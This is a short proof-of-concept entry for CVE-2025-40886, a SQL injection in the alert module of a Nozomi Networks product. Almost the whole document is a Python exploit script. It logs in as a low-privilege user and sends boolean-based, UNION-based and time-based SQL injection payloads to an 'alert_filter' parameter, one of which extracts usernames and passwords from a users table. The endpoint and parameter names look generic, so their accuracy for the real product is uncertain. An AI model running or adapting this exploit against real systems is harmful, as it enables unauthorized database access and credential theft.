CVE-2025-40886 Nozomi Networks产品Alert功能SQL注入漏洞

# CVE-2025-40886 PoC - SQL Injection in Alert Functionality # Target: Nozomi Networks Product - Alert Module # Vulnerability: Improper input validation leading to SQL Injection import requests TARGET_URL = "https://target-nozomi-product.example.com" USERNAME = "low_priv_user" PASSWORD = "password123" # Step 1: Authenticate to obtain a valid session session = requests.Session() login_payload = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET_URL}/api/login", data=login_payload) # Step 2: Exploit SQL Injection in Alert functionality # The 'alert_filter' parameter is vulnerable to SQL injection # Example 1: Boolean-based blind SQL injection to extract data vulnerable_endpoint = f"{TARGET_URL}/api/alerts" # Payload to test for SQL injection sqli_payload = "' OR '1'='1' --" params = { "alert_filter": sqli_payload } response = session.get(vulnerable_endpoint, params=params) print(f"[*] Response status: {response.status_code}") print(f"[*] Response body: {response.text[:500]}") # Example 2: UNION-based SQL injection to extract database contents union_payload = "' UNION SELECT username, password FROM users--" params_union = { "alert_filter": union_payload } response_union = session.get(vulnerable_endpoint, params=params_union) print(f"[*] UNION injection response: {response_union.text[:500]}") # Example 3: Time-based blind SQL injection import time time_payload = "'; IF (1=1) WAITFOR DELAY '0:0:5'--" params_time = { "alert_filter": time_payload } start_time = time.time() response_time = session.get(vulnerable_endpoint, params=params_time) elapsed = time.time() - start_time print(f"[*] Time-based injection elapsed: {elapsed:.2f}s (expect >5s if vulnerable)")